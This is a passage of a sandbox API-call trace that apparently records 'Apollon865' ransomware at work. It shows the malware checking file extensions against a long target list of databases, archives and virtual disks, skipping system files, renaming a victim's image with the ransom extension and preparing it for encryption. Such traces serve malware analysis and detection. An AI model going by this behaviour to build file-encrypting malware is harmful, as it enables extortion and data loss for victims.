	[0087.067] lstrcmpiW (lpString1=".bmp", lpString2="nwdb") returned -1
	[0087.067] lstrlenW (lpString="nyf") returned 3
	[0087.067] lstrcmpiW (lpString1="bmp", lpString2="nyf") returned -1
	[0087.067] lstrlenW (lpString="odb") returned 3
	[0087.067] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0087.067] lstrlenW (lpString="odb") returned 3
	[0087.067] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0087.067] lstrlenW (lpString="oqy") returned 3
	[0087.067] lstrcmpiW (lpString1="bmp", lpString2="oqy") returned -1
	[0087.067] lstrlenW (lpString="ora") returned 3
	[0087.067] lstrcmpiW (lpString1="bmp", lpString2="ora") returned -1
	[0087.067] lstrlenW (lpString="orx") returned 3
	[0087.067] lstrcmpiW (lpString1="bmp", lpString2="orx") returned -1
	[0087.067] lstrlenW (lpString="owc") returned 3
	[0087.067] lstrcmpiW (lpString1="bmp", lpString2="owc") returned -1
	[0087.067] lstrlenW (lpString="p96") returned 3
	[0087.067] lstrcmpiW (lpString1="bmp", lpString2="p96") returned -1
	[0087.067] lstrlenW (lpString="p97") returned 3
	[0087.067] lstrcmpiW (lpString1="bmp", lpString2="p97") returned -1
	[0087.067] lstrlenW (lpString="pan") returned 3
	[0087.067] lstrcmpiW (lpString1="bmp", lpString2="pan") returned -1
	[0087.067] lstrlenW (lpString="pdb") returned 3
	[0087.067] lstrcmpiW (lpString1="bmp", lpString2="pdb") returned -1
	[0087.067] lstrlenW (lpString="pdm") returned 3
	[0087.067] lstrcmpiW (lpString1="bmp", lpString2="pdm") returned -1
	[0087.067] lstrlenW (lpString="pnz") returned 3
	[0087.067] lstrcmpiW (lpString1="bmp", lpString2="pnz") returned -1
	[0087.067] lstrlenW (lpString="qry") returned 3
	[0087.067] lstrcmpiW (lpString1="bmp", lpString2="qry") returned -1
	[0087.067] lstrlenW (lpString="qvd") returned 3
	[0087.067] lstrcmpiW (lpString1="bmp", lpString2="qvd") returned -1
	[0087.067] lstrlenW (lpString="rbf") returned 3
	[0087.067] lstrcmpiW (lpString1="bmp", lpString2="rbf") returned -1
	[0087.068] lstrlenW (lpString="rctd") returned 4
	[0087.068] lstrcmpiW (lpString1=".bmp", lpString2="rctd") returned -1
	[0087.068] lstrlenW (lpString="rod") returned 3
	[0087.068] lstrcmpiW (lpString1="bmp", lpString2="rod") returned -1
	[0087.068] lstrlenW (lpString="rodx") returned 4
	[0087.068] lstrcmpiW (lpString1=".bmp", lpString2="rodx") returned -1
	[0087.068] lstrlenW (lpString="rpd") returned 3
	[0087.068] lstrcmpiW (lpString1="bmp", lpString2="rpd") returned -1
	[0087.068] lstrlenW (lpString="rsd") returned 3
	[0087.068] lstrcmpiW (lpString1="bmp", lpString2="rsd") returned -1
	[0087.068] lstrlenW (lpString="sas7bdat") returned 8
	[0087.068] lstrcmpiW (lpString1="zN5e.bmp", lpString2="sas7bdat") returned 1
	[0087.068] lstrlenW (lpString="sbf") returned 3
	[0087.068] lstrcmpiW (lpString1="bmp", lpString2="sbf") returned -1
	[0087.068] lstrlenW (lpString="scx") returned 3
	[0087.068] lstrcmpiW (lpString1="bmp", lpString2="scx") returned -1
	[0087.068] lstrlenW (lpString="sdb") returned 3
	[0087.068] lstrcmpiW (lpString1="bmp", lpString2="sdb") returned -1
	[0087.068] lstrlenW (lpString="sdc") returned 3
	[0087.068] lstrcmpiW (lpString1="bmp", lpString2="sdc") returned -1
	[0087.068] lstrlenW (lpString="sdf") returned 3
	[0087.068] lstrcmpiW (lpString1="bmp", lpString2="sdf") returned -1
	[0087.068] lstrlenW (lpString="sis") returned 3
	[0087.068] lstrcmpiW (lpString1="bmp", lpString2="sis") returned -1
	[0087.068] lstrlenW (lpString="spq") returned 3
	[0087.068] lstrcmpiW (lpString1="bmp", lpString2="spq") returned -1
	[0087.068] lstrlenW (lpString="te") returned 2
	[0087.068] lstrcmpiW (lpString1="mp", lpString2="te") returned -1
	[0087.068] lstrlenW (lpString="teacher") returned 7
	[0087.068] lstrcmpiW (lpString1="N5e.bmp", lpString2="teacher") returned -1
	[0087.068] lstrlenW (lpString="tmd") returned 3
	[0087.068] lstrcmpiW (lpString1="bmp", lpString2="tmd") returned -1
	[0087.068] lstrlenW (lpString="tps") returned 3
	[0087.068] lstrcmpiW (lpString1="bmp", lpString2="tps") returned -1
	[0087.069] lstrlenW (lpString="trc") returned 3
	[0087.069] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0087.069] lstrlenW (lpString="trc") returned 3
	[0087.069] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0087.069] lstrlenW (lpString="trm") returned 3
	[0087.069] lstrcmpiW (lpString1="bmp", lpString2="trm") returned -1
	[0087.069] lstrlenW (lpString="udb") returned 3
	[0087.069] lstrcmpiW (lpString1="bmp", lpString2="udb") returned -1
	[0087.075] lstrlenW (lpString="udl") returned 3
	[0087.075] lstrcmpiW (lpString1="bmp", lpString2="udl") returned -1
	[0087.075] lstrlenW (lpString="usr") returned 3
	[0087.075] lstrcmpiW (lpString1="bmp", lpString2="usr") returned -1
	[0087.075] lstrlenW (lpString="v12") returned 3
	[0087.075] lstrcmpiW (lpString1="bmp", lpString2="v12") returned -1
	[0087.075] lstrlenW (lpString="vis") returned 3
	[0087.075] lstrcmpiW (lpString1="bmp", lpString2="vis") returned -1
	[0087.075] lstrlenW (lpString="vpd") returned 3
	[0087.075] lstrcmpiW (lpString1="bmp", lpString2="vpd") returned -1
	[0087.075] lstrlenW (lpString="vvv") returned 3
	[0087.075] lstrcmpiW (lpString1="bmp", lpString2="vvv") returned -1
	[0087.075] lstrlenW (lpString="wdb") returned 3
	[0087.075] lstrcmpiW (lpString1="bmp", lpString2="wdb") returned -1
	[0087.075] lstrlenW (lpString="wmdb") returned 4
	[0087.075] lstrcmpiW (lpString1=".bmp", lpString2="wmdb") returned -1
	[0087.075] lstrlenW (lpString="wrk") returned 3
	[0087.075] lstrcmpiW (lpString1="bmp", lpString2="wrk") returned -1
	[0087.075] lstrlenW (lpString="xdb") returned 3
	[0087.075] lstrcmpiW (lpString1="bmp", lpString2="xdb") returned -1
	[0087.075] lstrlenW (lpString="xld") returned 3
	[0087.075] lstrcmpiW (lpString1="bmp", lpString2="xld") returned -1
	[0087.075] lstrlenW (lpString="xmlff") returned 5
	[0087.075] lstrcmpiW (lpString1="e.bmp", lpString2="xmlff") returned -1
	[0087.075] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6pPD-3xtzN5e.bmp.Apollon865") returned 66
	[0087.075] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6pPD-3xtzN5e.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6ppd-3xtzn5e.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6pPD-3xtzN5e.bmp.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6ppd-3xtzn5e.bmp.apollon865"), dwFlags=0x1) returned 1
	[0087.077] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6pPD-3xtzN5e.bmp.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6ppd-3xtzn5e.bmp.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.077] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=93782) returned 1
	[0087.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.077] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.078] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.078] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.078] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17160, lpName=0x0) returned 0x15c
	[0087.078] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17160) returned 0x120000
	[0087.082] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.083] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.083] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0087.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0087.084] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0087.084] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0087.084] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0087.084] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0087.085] CloseHandle (hObject=0x15c) returned 1
	[0087.085] CloseHandle (hObject=0x9c) returned 1
	[0087.086] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0087.086] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0087.086] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0087.086] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0087.086] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0087.087] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0087.087] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0087.087] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0087.087] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0087.087] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0087.087] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0087.087] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0087.087] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0087.087] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0087.087] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0087.087] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0087.087] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0087.087] lstrlenW (lpString="desktop.ini") returned 11
	[0087.087] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6pPD-3xtzN5e.bmp") returned 55
	[0087.087] lstrcpyW (in: lpString1=0x119e656, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0087.087] lstrlenW (lpString="desktop.ini") returned 11
	[0087.087] lstrlenW (lpString="Apollon865") returned 10
	[0087.087] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0087.087] lstrlenW (lpString=".dll") returned 4
	[0087.087] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0087.087] lstrlenW (lpString=".lnk") returned 4
	[0087.087] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0087.087] lstrlenW (lpString=".ini") returned 4
	[0087.087] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0087.087] lstrlenW (lpString=".sys") returned 4
	[0087.087] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0087.087] lstrlenW (lpString="desktop.ini") returned 11
	[0087.087] lstrlenW (lpString="bak") returned 3
	[0087.087] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0087.087] lstrlenW (lpString="ba_") returned 3
	[0087.087] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0087.087] lstrlenW (lpString="dbb") returned 3
	[0087.087] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0087.087] lstrlenW (lpString="vmdk") returned 4
	[0087.088] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0087.088] lstrlenW (lpString="rar") returned 3
	[0087.088] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0087.088] lstrlenW (lpString="zip") returned 3
	[0087.088] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0087.088] lstrlenW (lpString="tgz") returned 3
	[0087.088] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0087.088] lstrlenW (lpString="vbox") returned 4
	[0087.088] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0087.088] lstrlenW (lpString="vdi") returned 3
	[0087.088] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0087.088] lstrlenW (lpString="vhd") returned 3
	[0087.088] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0087.088] lstrlenW (lpString="vhdx") returned 4
	[0087.088] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0087.088] lstrlenW (lpString="avhd") returned 4
	[0087.088] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0087.088] lstrlenW (lpString="db") returned 2
	[0087.088] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0087.088] lstrlenW (lpString="db2") returned 3
	[0087.088] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0087.088] lstrlenW (lpString="db3") returned 3
	[0087.088] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0087.088] lstrlenW (lpString="dbf") returned 3
	[0087.088] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0087.088] lstrlenW (lpString="mdf") returned 3
	[0087.088] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0087.088] lstrlenW (lpString="mdb") returned 3
	[0087.088] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0087.089] lstrlenW (lpString="sql") returned 3
	[0087.089] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0087.089] lstrlenW (lpString="sqlite") returned 6
	[0087.089] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0087.089] lstrlenW (lpString="sqlite3") returned 7
	[0087.089] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0087.089] lstrlenW (lpString="sqlitedb") returned 8
	[0087.089] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0087.089] lstrlenW (lpString="xml") returned 3
	[0087.089] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0087.089] lstrlenW (lpString="$er") returned 3
	[0087.089] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0087.089] lstrlenW (lpString="4dd") returned 3
	[0087.089] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0087.089] lstrlenW (lpString="4dl") returned 3
	[0087.089] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0087.089] lstrlenW (lpString="^^^") returned 3
	[0087.089] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0087.089] lstrlenW (lpString="abs") returned 3
	[0087.089] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0087.089] lstrlenW (lpString="abx") returned 3
	[0087.089] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0087.089] lstrlenW (lpString="accdb") returned 5
	[0087.089] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0087.089] lstrlenW (lpString="accdc") returned 5
	[0087.089] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0087.089] lstrlenW (lpString="accde") returned 5
	[0087.089] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0087.089] lstrlenW (lpString="accdr") returned 5
	[0087.089] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0087.089] lstrlenW (lpString="accdt") returned 5
	[0087.089] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0087.089] lstrlenW (lpString="accdw") returned 5
	[0087.089] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0087.090] lstrlenW (lpString="accft") returned 5
	[0087.090] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0087.090] lstrlenW (lpString="adb") returned 3
	[0087.090] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0087.090] lstrlenW (lpString="adb") returned 3
	[0087.090] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0087.090] lstrlenW (lpString="ade") returned 3
	[0087.090] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0087.090] lstrlenW (lpString="adf") returned 3
	[0087.090] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0087.090] lstrlenW (lpString="adn") returned 3
	[0087.090] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0087.090] lstrlenW (lpString="adp") returned 3
	[0087.090] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0087.090] lstrlenW (lpString="alf") returned 3
	[0087.090] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0087.090] lstrlenW (lpString="ask") returned 3
	[0087.090] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0087.090] lstrlenW (lpString="btr") returned 3
	[0087.090] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0087.090] lstrlenW (lpString="cat") returned 3
	[0087.090] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0087.090] lstrlenW (lpString="cdb") returned 3
	[0087.090] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0087.090] lstrlenW (lpString="ckp") returned 3
	[0087.090] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0087.090] lstrlenW (lpString="cma") returned 3
	[0087.090] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0087.090] lstrlenW (lpString="cpd") returned 3
	[0087.090] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0087.090] lstrlenW (lpString="dacpac") returned 6
	[0087.090] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0087.090] lstrlenW (lpString="dad") returned 3
	[0087.090] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0087.090] lstrlenW (lpString="dadiagrams") returned 10
	[0087.091] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0087.091] lstrlenW (lpString="daschema") returned 8
	[0087.091] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0087.091] lstrlenW (lpString="db-journal") returned 10
	[0087.091] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0087.091] lstrlenW (lpString="db-shm") returned 6
	[0087.091] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0087.091] lstrlenW (lpString="db-wal") returned 6
	[0087.091] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0087.091] lstrlenW (lpString="dbc") returned 3
	[0087.091] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0087.091] lstrlenW (lpString="dbs") returned 3
	[0087.091] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0087.091] lstrlenW (lpString="dbt") returned 3
	[0087.091] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0087.091] lstrlenW (lpString="dbv") returned 3
	[0087.091] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0087.091] lstrlenW (lpString="dbx") returned 3
	[0087.091] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0087.091] lstrlenW (lpString="dcb") returned 3
	[0087.091] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0087.091] lstrlenW (lpString="dct") returned 3
	[0087.091] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0087.091] lstrlenW (lpString="dcx") returned 3
	[0087.091] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0087.091] lstrlenW (lpString="ddl") returned 3
	[0087.091] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0087.091] lstrlenW (lpString="dlis") returned 4
	[0087.091] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0087.091] lstrlenW (lpString="dp1") returned 3
	[0087.091] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0087.091] lstrlenW (lpString="dqy") returned 3
	[0087.091] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0087.091] lstrlenW (lpString="dsk") returned 3
	[0087.092] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0087.092] lstrlenW (lpString="dsn") returned 3
	[0087.092] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0087.092] lstrlenW (lpString="dtsx") returned 4
	[0087.092] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0087.092] lstrlenW (lpString="dxl") returned 3
	[0087.092] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0087.092] lstrlenW (lpString="eco") returned 3
	[0087.092] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0087.092] lstrlenW (lpString="ecx") returned 3
	[0087.092] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0087.092] lstrlenW (lpString="edb") returned 3
	[0087.092] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0087.092] lstrlenW (lpString="epim") returned 4
	[0087.092] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0087.092] lstrlenW (lpString="fcd") returned 3
	[0087.092] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0087.092] lstrlenW (lpString="fdb") returned 3
	[0087.092] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0087.092] lstrlenW (lpString="fic") returned 3
	[0087.092] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0087.092] lstrlenW (lpString="flexolibrary") returned 12
	[0087.092] lstrlenW (lpString="fm5") returned 3
	[0087.092] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0087.092] lstrlenW (lpString="fmp") returned 3
	[0087.092] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0087.092] lstrlenW (lpString="fmp12") returned 5
	[0087.092] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0087.092] lstrlenW (lpString="fmpsl") returned 5
	[0087.092] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0087.092] lstrlenW (lpString="fol") returned 3
	[0087.092] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0087.092] lstrlenW (lpString="fp3") returned 3
	[0087.092] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0087.092] lstrlenW (lpString="fp4") returned 3
	[0087.093] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0087.093] lstrlenW (lpString="fp5") returned 3
	[0087.093] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0087.093] lstrlenW (lpString="fp7") returned 3
	[0087.093] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0087.093] lstrlenW (lpString="fpt") returned 3
	[0087.093] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0087.093] lstrlenW (lpString="frm") returned 3
	[0087.093] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0087.093] lstrlenW (lpString="gdb") returned 3
	[0087.093] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0087.093] lstrlenW (lpString="gdb") returned 3
	[0087.093] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0087.093] lstrlenW (lpString="grdb") returned 4
	[0087.093] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0087.093] lstrlenW (lpString="gwi") returned 3
	[0087.093] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0087.093] lstrlenW (lpString="hdb") returned 3
	[0087.093] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0087.093] lstrlenW (lpString="his") returned 3
	[0087.093] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0087.093] lstrlenW (lpString="ib") returned 2
	[0087.093] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0087.093] lstrlenW (lpString="idb") returned 3
	[0087.093] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0087.093] lstrlenW (lpString="ihx") returned 3
	[0087.093] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0087.093] lstrlenW (lpString="itdb") returned 4
	[0087.093] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0087.093] lstrlenW (lpString="itw") returned 3
	[0087.093] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0087.093] lstrlenW (lpString="jet") returned 3
	[0087.093] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0087.093] lstrlenW (lpString="jtx") returned 3
	[0087.094] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0087.094] lstrlenW (lpString="kdb") returned 3
	[0087.094] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0087.094] lstrlenW (lpString="kexi") returned 4
	[0087.094] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0087.094] lstrlenW (lpString="kexic") returned 5
	[0087.094] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0087.094] lstrlenW (lpString="kexis") returned 5
	[0087.094] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0087.094] lstrlenW (lpString="lgc") returned 3
	[0087.094] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0087.094] lstrlenW (lpString="lwx") returned 3
	[0087.094] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0087.094] lstrlenW (lpString="maf") returned 3
	[0087.094] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0087.094] lstrlenW (lpString="maq") returned 3
	[0087.094] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0087.094] lstrlenW (lpString="mar") returned 3
	[0087.094] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0087.094] lstrlenW (lpString="marshal") returned 7
	[0087.094] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0087.094] lstrlenW (lpString="mas") returned 3
	[0087.094] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0087.094] lstrlenW (lpString="mav") returned 3
	[0087.094] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0087.094] lstrlenW (lpString="maw") returned 3
	[0087.094] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0087.094] lstrlenW (lpString="mdbhtml") returned 7
	[0087.094] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0087.094] lstrlenW (lpString="mdn") returned 3
	[0087.094] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0087.094] lstrlenW (lpString="mdt") returned 3
	[0087.094] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0087.094] lstrlenW (lpString="mfd") returned 3
